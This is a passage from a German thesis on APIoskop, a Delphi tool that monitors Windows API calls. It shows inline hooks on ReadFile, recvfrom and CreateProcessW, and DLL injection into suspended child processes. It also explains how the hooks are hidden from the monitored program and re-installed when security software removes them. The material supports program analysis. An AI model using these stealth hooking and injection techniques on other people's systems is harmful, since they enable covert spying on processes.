die Initialisierung der HookLibrary interessante Wert ist DLL_PROCESS_ATTACH. Wird der oben angesprochenen Funktion dieses Flag übergeben, so wurde die HookLibrary unmittelbar zuvor in einen Prozess geladen. Während der Initialisierung der HookLibrary wird der Code ausgeführt, welcher in Abbildung 4.9 zu sehen ist. 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 .. . CurrentPID := GetCurrentProcessID; RegKeyList := TIntStrBuffer.Create(...); // Parameterübergabe := OpenFileMapping(FILE_MAP_ALL_ACCESS, False, FMParameterName); hFMParameter ParameterData := MapViewOfFile(hFMParameter, FILE_MAP_ALL_ACCESS, 0, 0, 0); WhichOneToHook := ParameterData^.WhichOneToHook; bConsecutivelyCalls := ParameterData^.ConsecutivelyCalls; DLLPath := ParameterData^.DLLPath; UnmapViewOfFile(ParameterData); hFileMapping hMMFWriteMutex hSendEvent hReadDoneEvent := := := := OpenFileMapping(FILE_MAP_ALL_ACCESS, False, FileMappingName); CreateMutex(nil, False, MMFWriteMutexName); OpenEvent(EVENT_MODIFY_STATE, False, SendEventName); OpenEvent(EVENT_MODIFY_STATE, False, ReadDoneEventName); // Zeit-Stuff GetLocalTime(dummyTime); InjectionTime.wHour := dummyTime.wHour; InjectionTime.wMinute := dummyTime.wMinute; InjectionTime.wSecond := dummyTime.wSecond; InjectionTime.wMilliseconds := dummyTime.wMilliseconds; QueryPerformanceCounter(StartQPC); .. . 29 CollectHooks; 30 if WhichOneToHook[FKT_NtCreateFile] = '1' then HookAPI('ntdll.dll', 'NtCreateFile', 31 32 @NtCreateFile_Callback, @NtCreateFile_Next); .. . .. . 92 if WhichOneToHook[FKT_TerminateProcess] = '1' then HookAPI('kernel32.dll', 'TerminateProcess', 93 @TerminateProcess_Callback, @TerminateProcess_Next); 94 95 FlushHooks; Abbildung 4.9.: Initialisierung der HookLibrary 61 Kapitel 4. APIoskop Während der Initialisierung der HookLibrary wird in einem ersten Schritt die ID des Prozesses gespeichert, in dessen Adressraum die HookLibrary eingeblendet wurde. Diese Prozess-ID wird, wie bereits erwähnt, für die spätere Übermittlung der IPC-Nachrichten benötigt. Anschließend wird ein Objekt erstellt, welches dazu dient, ein Keyhandle auf den dazugehörigen Schlüsselnamen abzubilden. Nähere Informationen dazu folgen in Kapitel 4.4.2.6. In den Zeilen 5 bis 10 beschafft sich die HookLibrary Informationen, welche diese für ihre Arbeit benötigt. Diese Informationen werden von dem APIoskop-Hauptprogramm in einem Memory Mapped File hinterlegt und beinhalten größtenteils die Einstellungen von APIoskop. Unter anderem wird in der Variablen WhichOneToHook die Angabe gespeichert, welche API-Funktionen gehookt werden sollen und welche nicht. Die Zeilen 12 bis 15 dienen der Initialisierung der Interprozesskommunikation. Hier besorgt sich die HookLibrary einen Bezeichner für die wesentlichen Komponenten der IPC: - In Zeile 12: Für die Abbildung der (Memory Mapped) Datei in den Speicher, in welcher die IPC-Nachrichten hinterlegt werden. - In Zeile 13: Für den Mutex, der die Synchronisation dieses MMF sicherstellt. - In Zeile 14: Für das Ereignis, welches die HookLibrary auslöst, wenn es Daten in das MMF geschrieben hat, und das den MMF-Thread startet. - In Zeile 15: Für das Ereignis, welches der MMF-Thread auslöst, wenn dieser das MMF ausgelesen hat. Damit innerhalb der IPC-Nachrichten die genaue Uhrzeit übermittelt werden kann, zu der eine bestimmte Hook-Funktion aufgerufen wurde, wird in den Zeilen 18 bis 22 die Injektionszeit festgehalten. Zudem wird in Zeile 23 ein High Performance Counter initialisiert, zu dem sich nähere Informationen im Internet [Cor] finden. In dem restlichen Teil des Initialisierungsabschnitts werden die einzelnen Hooks installiert. Ob eine Funktion gehookt werden soll, hängt von der bereits oben erwähnten Variablen WhichOneToHook ab. Diese Variable ist eine Zeichenkette und enthält für jede überwachbare Funktion entweder das Zeichen 1 oder 0. Deren genaue Struktur und Semantik wurde in Kapitel 4.4.1.3 erläutert. Die Installation eines Hooks wird durch die Funktion HookAPI erreicht, welche aus dem MadCodeHook -Paket stammt und die Hooks mittels der Inline Hooking Technik installiert [Rau]. Dieser werden vier Argumente übergeben. Die ersten beiden kennzeichnen die Funktion, die man hooken möchte. Dazu wird im ersten Argument angegeben, welche Bibliothek diese Funktion exportiert, und im zweiten Argument bekommt HookAPI den genauen Namen der zu hookenden Funktion übergeben. Die letzten beiden Argumente sind Zeiger auf Funktionen. Der erste dieser beiden Zeiger enthält die Adresse der Hook-Funktion. Diese Adresse wird in Verbindung mit einer Sprunganweisung an den Anfang der zu hookenden Funktion geschrieben. Die Instruktionen, welche dadurch überschrieben werden, sichert die Funktion HookAPI am Anfang der Trampolinfunktion, welche durch das zweite Zeigerargument markiert ist (siehe Kapitel 3.3.5). Wurde die zu hookende Funktion vorher schon durch ein anderes Programm gehookt, so wird die Sprunganweisung, welche dieses Programm an den Anfang der Originalfunktion geschrieben hat, in der Trampolinfunktion gesichert. Auf diese 62 4.4. Implementierung Weise kann eine ganze Hook-Reihe für eine Funktion entstehen. 4.4.2.2. ReadFile Die Funktion ReadFile, exportiert von der Bibliothek Kernel32.dll, liest Daten aus einer Datei. Dies kann sowohl synchron als auch asynchron geschehen. Gelesen werden die Daten ab der Position, auf die der Dateizeiger der zu lesenden Datei aktuell zeigt. Argument hFile lpBuffer nNumberOfBytesToRead lpNumberOfBytesRead lpOverlapped Resultat Typ HANDLE LPVOID DWORD LPDWORD LPOVERLAPPED BOOL Tabelle 4.4.: Interface der API-Funktion ReadFile Das Interface dieser API-Funktion ist in Tabelle 4.4 dargestellt. Die Funktion erwartet fünf Argumente und gibt einen booleschen Wert zurück: 1. Ein Dateihandle, welches die zu lesende Datei kennzeichnet. 2. Adresse des Puffers, welcher die gelesenen Daten aufnehmen soll. 3. Anzahl der Zeichen, die maximal gelesen werden sollen. 4. Ein Zeiger, der auf einen numerischen Wert zeigt. Dort wird die Anzahl der tatsächlich gelesenen Zeichen hinterlegt. 5. Ein Zeiger auf eine OVERLAPPED-Struktur. Diese wird zum asynchronen Lesen benötigt. Beim synchronen Lesen ist dieser Zeiger NULL. 6. Diese Funktion gibt TRUE zurück, falls kein Fehler aufgetreten ist, ansonsten FALSE. Möchte man Funktionsaufrufe von ReadFile abfangen und auf eine eigene HookFunktion umlenken, so muss diese selbstgeschriebene Funktion dasselbe Funktionspattern besitzen wie die Originalfunktion der API. Die Hook-Funktion, auch CallbackFunktion genannt, die bei der Implementierung von APIoskop verwendet wurde, ist in der Abbildung 4.10 zu sehen. Man sieht, dass die hier verwendete Hook-Funktion die Voraussetzung desselben Funktionspatterns erfüllt. Das zusätzliche Schlüsselwort stdcall sorgt für die korrekte Übergabe der Argumente, da Delphi andere Aufrufkonventionen benutzt als C/C++. Durch die Verwendung dieses Schlüsselworts werden die Argumente von rechts nach links auf den Stack übergeben. Am Anfang der Funktion findet in der Zeile 10 eine Überprüfung statt, ob der Funktionsaufruf überhaupt geloggt werden soll. Dies hängt davon ab, ob der Benutzer in den Einstellungen angegeben hat, ob Folgeaufrufe mitprotokolliert werden sollen oder nicht (siehe Kapitel 4.3.4). Dieser Angabe entspricht der Wert der boole- 63 Kapitel 4. APIoskop 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 function ReadFile_Callback(hFile: THandle; var Buffer; nNumberOfBytesToRead: DWORD; var lpNumberOfBytesRead: DWORD; lpOverlapped: POverlapped): BOOL; stdcall; var strFileName: string; PastSec5: Cardinal; savedError: Cardinal; begin if (not DontHook) or bConsecutivelyCalls then begin DontHook := True; PastSec5 := GetPastSec5; strFileName := GetFileNameAndPathFromHandle(hFile); if CorrectFilename(strFileName) then Log(FKT_ReadFile, strFileName, PastSec5, '', PPR_SymToLogic, 0, 0, -1, 0, 0, '', ''); Result := ReadFile_Next(hFile, Buffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped); savedError := GetLastError; DontHook := False; end else begin Result := ReadFile_Next(hFile, Buffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped); savedError := GetLastError; end; ReNewHook(@ReadFile_Next); SetLastError(savedError); end; Abbildung 4.10.: Funktion ReadFile_Callback schen Variablen bConsecutivelyCalls. Hat diese den Wert TRUE, so ist die Bedingung in Zeile 10 in jedem Fall erfüllt und der Aufruf wird protokolliert. Sollen Folgeaufrufe nicht protokolliert werden, so hängt der weitere Verlauf der Funktion von der Variablen DontHook ab. Diese boolesche Variable gibt Auskunft darüber, ob der Aufruf direkt aus dem überwachten Programm heraus kam oder aus einer anderen Hook-Funktion. Wenn ReadFile_Callback aus einer anderen Hook-Funktion heraus aufgerufen wurde, so ist ihr Wert TRUE, andernfalls FALSE. Der Funktionsaufruf von ReadFile wird also nur aufgezeichnet, wenn Folgeaufrufe protokolliert werden sollen (bConsecutivelyCalls = TRUE) oder wenn er direkt aus dem überwachten Programm getätigt wurde (DontHook = FALSE). DontHook ist eine globale Threadvariable, d.h. dass jeder Thread des überwachten Programms eine eigene Instanz dieser Variablen besitzt. Auf diese Weise wird verhindert, dass sich die verschiedenen Ausführungsstränge des überwachten Prozesses nicht bei der Protokollierung eines eigentlich zu vermerkenden Funktionsaufrufs behindern. Soll der Funktionsaufruf protokolliert werden, so wird als erstes in der Zeile 12 die globale Threadvariable DontHook auf TRUE gesetzt, um so die Protokollierung der Funktionsaufrufe zu verhindern, die im weiteren Verlauf der Funktion ReadFile_Callback (oder in Funktionen die in dieser Funktion aufgerufen werden, usw.) folgen können. In der Zeile 13 wird ermittelt, wie viele Zehntel Millisekunden seit der Injektionszeit 64 4.4. Implementierung der HookLibrary vergangen sind. Realisiert wird dies mittels eines High Performance Counters von Microsoft [Cor]. Aus dieser Information und der Injektionszeit selber wird dann im Hauptprogramm von APIoskop die genaue Uhrzeit des Funktionsaufrufes berechnet. Anschließend wird in der nächsten Zeile mit Hilfe einer selbstgeschriebenen Funktion das übergebene Dateihandle in einen vollständigen Dateipfad umgewandelt. Sobald der Pfad und der Name der Datei aus dessen Handle ermittelt wurde, wird in der Zeile 15 überprüft, ob es sich dabei um einen korrekten Dateinamen handelt. Ist dies der Fall, so kann der Funktionsaufruf dann letztendlich zu dem Hauptprogramm übermittelt werden. Dazu wird die selbstgeschriebene Funktion Log verwendet, die alle für den Funktionsaufruf relevanten Daten in ein Memory Mapped File schreibt und die Interprozesskommunikation in Gang setzt (siehe Kapitel 4.4.1.2). Damit das überwachte Programm keine Kenntnis von diesem Ausspähen erlangt, muss darauf geachtet werden, dass das Resultat der Hook-Funktion dem Resultat der originalen ReadFile-Funktion entspricht. Um diese Originalfunktionalität zu erhalten, wird in einem nächsten Schritt die Trampolinfunktion aufgerufen. Deren Resultat wird als Ergebnis der Hook-Funktion weitergegeben. Zusätzlich wird noch in Zeile 20 deren Fehlerwert zwischengespeichert, damit dieser am Ende der Hook-Funktion wiederhergestellt werden kann. Auch dies trägt zum Verbergen des Hooks bei, da so das Ergebnis der Trampolinfunktion zu der erhaltenen letzten Fehlermeldung passt. Das Setzen der DontHookVariablen auf FALSE bewirkt, dass ab nun abgefangene Funktionsaufrufe wieder protokolliert werden. Wurde bei der Überprüfung, ob der ReadFile-Aufruf protokolliert werden soll (Zeile 10), festgestellt, dass dies nicht der Fall ist, so wird lediglich das Ergebnis der Trampolinfunktion zurückgegeben. In seltenen Fällen kann es passieren, dass andere Programme, welche dieselbe Funktion hooken, andere Hooks abhängen. Beispielsweise ist dies bei Virenscannern oder Firewalls manchmal der Fall. Die Anweisung ReNewHook stellt lediglich sicher, dass der eigene Hook installiert bleibt. Dies funktioniert jedoch nur in solchen Fällen, in denen die Hook-Funktion eines nachfolgenden Hooks der Hook-Reihe den eigenen Hook abhängt. Wird der eigene Hook von einem sich davor befindlichem Hook abgehängt, so kommt die eigene Hook-Funktion gar nicht mehr zur Ausführung (siehe Kapitel 4.4.2.1). 4.4.2.3. RecvFrom Mit der Funktion RecvFrom können Daten von einem Socket empfangen werden. Sie wird von der Bibliothek Ws2_32.dll angeboten, und im Unterschied zur Funktion recv stellt sie Informationen über den Absender zur Verfügung. Diese Funktion wird häufig zum Empfangen von UDP-Datagrammen benutzt. Das Interface dieser API-Funktion ist in Tabelle 4.5 dargestellt. Die Funktion erwartet sechs Argumente und gibt einen numerischen Wert zurück: 1. Bezeichner für den verbundenen Socket, von dem die Daten gelesen werden sollen. 2. Zeigt auf einen Speicherbereich, in dem die Daten gespeichert werden können. 65 Kapitel 4. APIoskop Argument s buf len flags from fromlen Resultat Typ SOCKET CHAR* INT INT STRUCT SOCKADDR* INT* INT Tabelle 4.5.: Interface der API-Funktion RecvFrom Dieser muss beschreibbar und mindestens len Bytes lang sein. 3. len gibt die Anzahl der zu lesenden Bytes an. Sind dies mehr als vorhanden sind, so kehrt RecvFrom mit weniger als len Bytes zurück. 4. Über die flags lässt sich das Verhalten der Funktion beim Empfang von Datagrammen einstellen. Diese werden kombiniert mit den eingestellten Socket-Optionen. 5. Ein Zeiger auf eine SOCKADDR-Struktur, in der Informationen über den Absender hinterlegt werden. 6. Zeiger auf die Länge der SOCKADDR-Struktur. Wenn keine Informationen über den Absender erwünscht sind, können die beiden letzten Parameter NULL beziehungsweise 0 sein. 7. Als Resultat liefert RecvFrom die Länge des empfangenen Datagramms in Byte. Vergleicht man die Hook-Funktion aus Abbildung 4.11 mit der in Kapitel 4.4.2.2 vorgestellten Hook-Funktion, erkennt man gut die Ähnlichkeit in deren Struktur. Auch hier wird zuerst durch die Variablen bConsecutivelyCalls und DontHook überprüft, ob der Funktionsaufruf protokolliert werden soll. Ist dies nicht der Fall, so wird lediglich durch die Trampolinfunktion das Resultat der Originalfunktion zurückgeliefert und deren Fehlerstatus gesichert. Dieser Status wird wiederhergestellt, nachdem sichergestellt wurde, dass der Hook auch weiterhin installiert ist. Ergibt die Überprüfung in Zeile 10 jedoch, dass der Funktionsaufruf protokolliert werden soll, so wird zuerst durch das Setzen von DontHook auf TRUE gewährleistet, dass fälschlicherweise keine weiteren Aufrufe anderer gehookter Funktionen protokolliert werden. Diese können aufgrund der Verwendung von DontHook nämlich nicht innerhalb des überwachten Programms aufgerufen worden sein, sondern nur aus anderen HookFunktionen aus der aktuellen Aufrufkette stammen. Danach wird die bereits erklärte Zeit festgehalten, und anschließend wird durch die Trampolinfunktion das Verhalten der Originalfunktion simuliert. In diesem Beispiel muss dies vor dem Loggen geschehen, damit die Informationen aus der SOCKADDR-Struktur an das Hauptprogramm geschickt werden können. Diese wird nämlich erst beim Aufruf der Trampolinfunktion mit den benötigten Daten gefüllt. In Zeile 16 wird aus diesen Daten die IP-Adresse des Absenders, in Form einer numerischen Repräsentation, herausgefiltert. Wenn diese IP-Adresse dem 66 4.4. Implementierung 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 function recvfrom_Callback(s: TSocket; var Buf; len, flags: Integer; var from: TSockAddr; var fromlen: Integer): Integer; stdcall; var PastSec5: Cardinal; IP: Cardinal; savedError: Cardinal; begin if (not DontHook) or bConsecutivelyCalls then begin DontHook := True; PastSec5 := GetPastSec5; Result := recvfrom_Next(s, Buf, len, flags, from, fromlen); savedError := GetLastError; Move(from.sin_addr, IP, sizeof(Cardinal)); if IP <> 16777343 then begin // 16777343 = Dezimal(127.0.0.1) if Result <> SOCKET_ERROR then Log(FKT_recvfromWS2, '', PastSec5, '', 0, IP, from.sin_port, Result, Cardinal(@Buf), 0, '', '') else Log(FKT_recvfromWS2, '', PastSec5, 'Fehler ' + IntToStrEx(savedError) + ': ' + ErrorCodeToStr(savedError), 0, IP, from.sin_port, -1, 0, 0, '', '') end; DontHook := False; end else begin Result := recvfrom_Next(s, Buf, len, flags, from, fromlen); savedError := GetLastError; end; ReNewHook(@recvfrom_Next); SetLastError(savedError); end; Abbildung 4.11.: Funktion RecvFrom_Callback localhost (IP-Adresse: 127.0.0.1) entspricht, so wird der Funktionsaufruf nicht protokolliert. Andernfalls werden die Informationen über den Funktionsaufruf von RecvFrom an APIoskop gesendet. Je nachdem, welches Resultat die Trampolinfunktion liefert, wird im Kommentarteil der Benachrichtigung eine Fehlerbeschreibung vermerkt. Auch wenn es auf den ersten Blick verwirrend wirken mag, aber es kann durchaus vorkommen, dass die Absenderadresse dem localhost entspricht. Zum Beispiel existiert eine Methode der Interprozesskommunikation, die Sockets verwendet. Wird diese IPCMethode von zwei Prozessen benutzt, die auf demselben System laufen, so ist dies beispielsweise der Fall. 4.4.2.4. CreateProcess Die Funktion CreateProcess ermöglicht das Erstellen eines neues Prozesses. Abbildung 4.12 stellt Ausschnitte der Hook-Funktion dar. In diesem Fall handelt es sich um die Unicode-Version, welcher unter anderem der Programmname und die Kommandozei- 67 Kapitel 4. APIoskop le (entspricht dem Pfad der Startdatei inklusive der Argumente) des neu zu erstellenden Prozesses in Form von Unicode-Strings übergeben werden. Das vollständige Interface ist in Tabelle 4.6 zu sehen. Argument lpApplicationName lpCommandLine lpProcessAttributes lpThreadAttributes bInheritHandles dwCreationFlags lpEnvironment LPCTSTR lpStartupInfo lpProcessInformation Resultat Typ LPCWSTR LPWSTR LPSECURITY_ATTRIBUTES LPSECURITY_ATTRIBUTES BOOL DWORD LPVOID lpCurrentDirectory LPSTARTUPINFO LPPROCESS_INFORMATION BOOL Tabelle 4.6.: Interface der API-Funktion CreateProcess In der Abbildung lässt sich wieder sehr gut der übliche Aufbau der Hook-Funktionen erkennen: Wenn der Funktionsaufruf geloggt werden soll, so wird die Trampolinfunktion ausgeführt (Zeile 11), und später werden die für diesen Funktionsaufruf relevanten Daten an das Hauptprogramm von APIoskop geschickt (Zeile 28). Soll der Funktionsaufruf jedoch nicht geloggt werden, so wird lediglich in dem unteren Funktionsabschnitt das Resultat der Trampolinfunktion als Ergebnis der Hook-Funktion zurückgegeben (Zeile 33). Auch am Ende dieser Hook-Funktion wird wieder die Installation des Hooks sichergestellt und der gesicherte Fehlerstatus wiederhergestellt. Dies ist in der Abbildung allerdings nicht zu sehen, da dieses Prinzip schon durch die beiden letzten Beispielfunktionen bekannt sein sollte. Vielmehr steht in diesem Beispiel etwas Anderes im Mittelpunkt des Interesses: Wird ein Funktionsaufruf von CreateProcess registriert, so injiziert die HookLibrary sich selbst in diesen neu erstellten Prozess. Auf diese Weise werden automatisch alle Kindprozesse des überwachten Prozesses ebenfalls überwacht. Erstellen diese weitere Prozesse, so gilt dies auch für jene. Es wird also stets die komplette Prozessfamilie überwacht, an deren Spitze sich der ursprünglich ausgewählte Prozess befindet. Realisiert wird dies folgendermaßen: Die Funktion CreateProcess erwartet unter anderem einen Parameter creationFlags 1 , durch welchen man kontrollieren kann, wie der neue Prozess erstellt wird. Dieser wird der Trampolinfunktion bei deren Aufruf leicht modifiziert übergeben (Zeile 11 beziehungsweise Zeile 33). Den crationFlags wird einfach ein weiteres Flag, das Flag CREATE_SUSPENDED, hinzugefügt. Dieses zusätzliche Flag bewirkt, dass der neue Prozess zwar erstellt wird, dessen Hauptthread aber nicht gestartet wird. Dieser startet erst, wenn man ihn mit der Funktion ResumeThread, welche als Argument dessen Handle übergeben bekommt, dazu veranlasst. Die Hook-Funktion verfährt also nun so, dass sie den neuen Prozess im Suspended-Mode erstellt, die Hook-Library 1 Für nähere Informationen siehe: http://msdn2.microsoft.com/en-us/library/ms684863. aspx 68 4.4. Implementierung 01 function CreateProcessW_Callback(... creationFlags: dword; 02 ...; var processInfo: TProcessInformation): bool; stdcall; .. . .. . 06 begin 07 if (not DontHook) or bConsecutivelyCalls then begin 08 .. . .. . Result := CreateProcessW_Next(..., creationFlags or CREATE_SUSPENDED, ..., processInfo); savedError := GetLastError; if Result then begin InjectLibrary(processInfo.hProcess, DLLPath + '\HookLibrary.dll'); if creationFlags and CREATE_SUSPENDED = 0 then ResumeThread(processInfo.hThread); end; 11 12 13 14 15 16 17 18 .. . .. . Log(..., processInfo.dwProcessId, '', ''); 28 ... 31 32 33 34 35 36 37 38 39 40 41 .. . ... end else begin Result := CreateProcessW_Next(..., creationFlags or CREATE_SUSPENDED, ..., processInfo); savedError := GetLastError; if Result then begin InjectLibrary(processInfo.hProcess, DLLPath + '\HookLibrary.dll'); if creationFlags and CREATE_SUSPENDED = 0 then ResumeThread(processInfo.hThread); end; end; .. . 44 end; Abbildung 4.12.: Funktion CreateProcessW_Callback in diesen injiziert (Zeile 15 beziehungsweise Zeile 37) und dann dessen Hauptthread startet (Zeile 17 beziehungsweise Zeile 39). Bevor dieser gestartet wird, überprüft die Hook-Funktion jedoch noch, ob in den ihr übergebenen creationFlags nicht bereits das CREATE_SUSPENDED-Flag enthalten ist. Wenn dies so sein sollte, wird der Hauptthread natürlich nicht gestartet, da dies ursprünglich auch nicht vorgesehen war und ein Abweichen von der Funktionalität der Original CreateProcess-Funktion den Hook verraten könnte. Das für die Funktion ResumeThread benötigte Handle des Hauptthreads erhält man durch die Struktur processInfo. Diese Struktur, welche die Funktion CreateProcess als Argument erwartet, wird von Windows bei deren Ausführung mit Daten über den neu erstellten Prozess gefüllt. Ebenso geschieht dies auch bei der Abarbeitung der Trampolinfunktion, welche die Originalfunktion ja bekanntlich simuliert. Neben dem Handle des Hauptthreads befindet sich beispielsweise auch die Prozess-ID des neuen Prozesses in dieser Struktur. Diese ist Teil der Informationen über den Funktionsaufruf, welche in Zeile 28 an das Hauptprogramm von APIoskop übermittelt werden. Durch das Erstellen des neuen Prozesses im Suspended-Mode, kann dieser keinen Befehl ausführen, bevor dessen Hauptthread per ResumeThread gestartet wird. Auf diese Weise wird gewährleistet, dass APIoskop keinen Aufruf einer gehookten Funktion von diesem Prozess verpasst, da die HookLibrary in diesen Prozess injiziert wird, noch bevor dieser seine ersten Instruktionen abarbeitet. 69 Kapitel 4. APIoskop 4.4.2.5. Vom Socket zum Hostnamen Fast alle der von APIoskop überwachbaren API-Funktionen aus dem Bereich der Netzwerkfunktionen erwarten einen Parameter, der vom Typ TSocket ist. Allgemein bezeichnet man mit dem Begriff Socket einen Endpunkt einer Netzwerkkommunikation. Die Herkunft des Begriffs liegt in dem englischen Wort für Steckdose. Charakterisiert wird ein Socket durch folgende vier Werte, welche ausreichen, um eine Kommunikation vollständig zu kennzeichnen: 1. IP-Adresse des Kommunikationspartners, welcher auch Remote-Host genannt wird. 2. Portnummer des Remote-Hosts. 3. IP-Adresse des eigenen Rechners. 4. Portnummer des eigenen Rechners. Damit ein Programm mit einem anderen Programm über ein Netzwerk kommunizieren kann, fordert es von Windows einen Socket an, über welchen dann sämtliche Kommunikation abläuft. Dazu wird der Befehl socket aus der Bibliothek Ws2_32.lib verwendet. Diese Bibliothek ist Teil der Windows API und exportiert sehr viele Funktionen, welche für Netzwerkaktivitäten verwendet werden. Der Anfang des Dateinamens beinhaltet übrigens schon die Abkürzung Ws2 - welche besagt, dass dies die zweite Version der Windows Socket API ist. Dadurch hat das Programm nun zwar ein Objekt zur Hand, über welches es Daten verschicken oder empfangen kann, jedoch hat es Windows noch nicht mitgeteilt, wer denn überhaupt sein Kommunikationspartner ist. Dazu muss der erhaltene Socket zuvor noch durch die Funktion connect mit dem gewünschten Ziel verbunden werden. Dieser Funktion wird eine SOCKADDR-Struktur2 vom Typ TSockAddrIn übergeben, in welcher unter anderem auch die IP-Adresse und der Port des Remote-Hosts enthalten sind. Sobald nun das Programm Daten senden oder empfangen möchte, ruft es eine entsprechende API-Funktion (z. B. send oder recv) auf und übergibt dieser einen verbundenen Socket. Über diesen Socket sendet beziehungsweise empfängt Windows dann die Daten, ohne dass es Kenntnis über den Remote-Host benötigt, da der Socket ja zu diesem verbunden ist. Allerdings ist ein numerischer Bezeichner des Sockets, nichts anderes ist der Typ TSocket, in der Ausgabeliste für einen Benutzer von APIoskop wenig informativ. Es wird also versucht, statt diesem Bezeichner, die IP-Adresse des Remote-Hosts in der Ausgabeliste anzuzeigen. Um dies zu erreichen, wird in jeder betroffenen Netzwerk-Hook-Funktion versucht, diese Informationen aus dem als Argument übergebenen Socket zu gewinnen. Eine schematische Darstellung dieses Prozesses stellt Abbildung 4.13 dar. Der zur Gewinnung dieser Informationen verwendete Delphi -Code sieht in nahezu jeder Hook-Funktion folgendermaßen aus: 2 Eine genaue Beschreibung dieser Struktur ist unter http://msdn2.microsoft.com/en-us/ library/ms740496.aspx zu finden. 70 4.4. Implementierung 01 02 03 04 05 06 07 function xyz(s: TSocket; ... var Addr: TSockAddrIn; Addrlen: Integer; IP: Cardinal; [...] AddrLen := SizeOf(Addr); GetPeerName(s, Addr, addrlen); Move(Addr.sin_addr, IP, sizeof(Cardinal)); [...] In Zeile 6 werden mittels der Windows Socket API-Funktion GetPeerName die Informationen über den Remote-Host, welche beim Verbinden des Sockets in diesem gespeichert wurden, aus dem Socket ausgelesen und in einer separaten Variablen Addr hinterlegt. Diese ist ebenfalls, wie die beim Verbinden des Sockets benötigte Strukturvariable, vom Typ TSockAddrIn. Aus dieser Addr-Variablen wird anschließend in Zeile 7 die IP-Adresse des Remote-Hosts (in Form eines numerischen Wertes) in eine weitere Variable kopiert, welche dann letztendlich, mit den übrigen Informationen über den Funktionsaufruf, an das Hauptprogramm übermittelt wird. Bevor das Hauptprogramm von APIoskop die Daten zu diesem Funktionsaufruf in die Ausgabeliste einträgt, wandelt es die numerische Repräsentation noch in die übliche dotted decimal notation für IP-Adressen um. Diese Umwandlung wird durch die Windows Socket API-Funktion inet_ntoa vorgenommen. HookLibrary APIoskop XYZ_Callback(s: TSocket; ...); s (TSocket) WinSockAPI.inet_ntoa IP (w.x.y.z) WinSockAPI.GetPeerName Addr (TSockAddrIn) Ausgabeliste IP (w.x.y.z) Move IP (Cardinal) HookLibrary.Log Hostname (string) DNS-Liste IPC-Nachricht (..., IP: Cardinal, ...) IP (Cardinal) Hostname (string) HookLibrary.Log IPC-Nachricht (..., Hostname: string, ..., IP: Cardinal, ...) Abbildung 4.13.: Vom Socket zum Hostnamen 71 Kapitel 4. APIoskop Desweiteren verwaltet APIoskop eine durch IP-Adressen indizierte Liste, welche für die Zuordnung von IP-Adressen zu Hostnamen zuständig ist. In der Abbildung 4.13 ist deren bildliche Darstellung mit DNS-Liste beschriftet. Wenn ein neuer Eintrag, welcher eine IP-Adresse enthält, in die Ausgabeliste eingetragen werden soll, wird aus dieser Liste der entsprechende Hostname ausgelesen. Gefüllt wird die Liste durch die Daten, welche gesammelt werden, wenn die Zielapplikation die API-Funktion gethostbyname aufruft. Diese führt eine Namensauflösung durch und wird ebenfalls gehookt. Die Informationen, welche diese Funktion der Zielapplikation zurückliefert, werden durch die HookLibrary ebenfalls an das Hauptprogramm von APIoskop geschickt. Ist die Funktion gethostbyname in den Einstellungen von APIoskop nicht zur Überwachung ausgewählt oder kann zu einer IP-Adresse kein Hostname in der Liste gefunden werden, so versucht sich APIoskop den zur IP-Adresse gehörigen Hostnamen manuell mit Hilfe der APIFunktion gethostbyaddr zu beschaffen. Wurde der Hostname auf diese Weise ermittelt, so wird das entsprechende Paar aus IP-Adresse und Hostname der am Anfang dieses Absatzes angesprochenen DNS-Liste hinzugefügt. 4.4.2.6. Vom Keyhandle zum Schlüsselnamen Auch bei Registryfunktionen ist es nicht ohne Umwege möglich, einen Teil der benötigten Informationen aus ihren Argumenten zu erhalten. Beispielsweise wird keiner der von APIoskop überwachbaren Registryfunktionen der Name des Schlüssels, auf welchen die Funktion angewandt wird, im Klartext übergeben. Alle diese Funktionen erwarten zwei Argumente, durch die sie mitgeteilt bekommen, welcher Schlüssel Ziel ihrer Aktivitäten sein soll: - hKey vom Typ THandle. - Subkeyname in Form eines Zeigers auf eine Zeichenkette. Das Argument hKey ist ein eindeutiger Bezeichner eines Registryschlüssels (ab sofort Keyhandle genannt), und der Subkeyname zeigt auf eine Zeichenkette, die den Namen eines Registryschlüssels enthält. Dies ist, wie der Argumentname schon vermuten lässt, ein Schlüssel, welcher in der Baumstruktur der Windows-Registrierungsdatenbank hierarchisch unterhalb des Schlüssels liegt, der durch das Keyhandle gekennzeichnet ist. Der Schlüssel, auf welchen die aufgerufene Registryfunktion nun angewandt werden soll, wird eindeutig durch diese beiden Argumente beschrieben. Es besteht aber weiterhin das Problem, dass man aus diesen beiden Informationen nicht sofort eine Zeichenkette mit dem Schlüsselnamen generieren kann, da das Keyhandle nur ein numerischer Bezeichner ist. Um diesen Schlüsselnamen dem Benutzer aber dennoch im Klartext zu präsentieren, verwendet APIoskop ein selbstgeschriebenes Objekt, welches für die Auflösung eines Keyhandle in den entsprechenden Schlüsselnamen zuständig ist. Dieses Objekt verwaltet intern eine durch Keyhandles indizierte Hashtabelle. Diese Hashtabelle bildet Keyhandles auf Listen ab, welche Paare aus Schlüsselnamen und Keyhandles beinhaltet. Veranschaulicht wird diese interne Datenstruktur in der Abbildung 4.14. Dieses Objekt bietet verschiedene Funktionen an, um Zugriff auf diese Listen zu ermöglichen. Eine dieser Funktionen ist MakeRegKeyName und erwartet als Argumente das Keyhandle und den Inhalt des Zeigers Subkeyname. Der Rückgabewert dieser 72 4.4. Implementierung fHashfunktion(Keyhandle) = Hash-Wert Hash-Wert Liste 0 1 ... Keyhandlem0, Schlüsselnamem0 Keyhandle11, Schlüsselname11 ... Keyhandlem1, Schlüsselnamem1 Keyhandle1n, Schlüsselname1n ... Keyhandlemn, Schlüsselnamemn ... ... n Keyhandle10, Schlüsselname10 Abbildung 4.14.: Datenstruktur zur Zuordnung von Schlüsselname zu Keyhandle Funktion ist dann der gesuchte Schlüsselname. Die gesamte Funktion lässt sich in zwei Abschnitte unterteilen: 1. Als erstes versucht MakeRegKeyName den zum Keyhandle gehörigen Schlüsselnamen zu erhalten. Dazu werden nacheinander die drei folgenden Methoden (in dieser Reihenfolge) versucht, bis die erste erfogreich ist. Sollte keine Methode 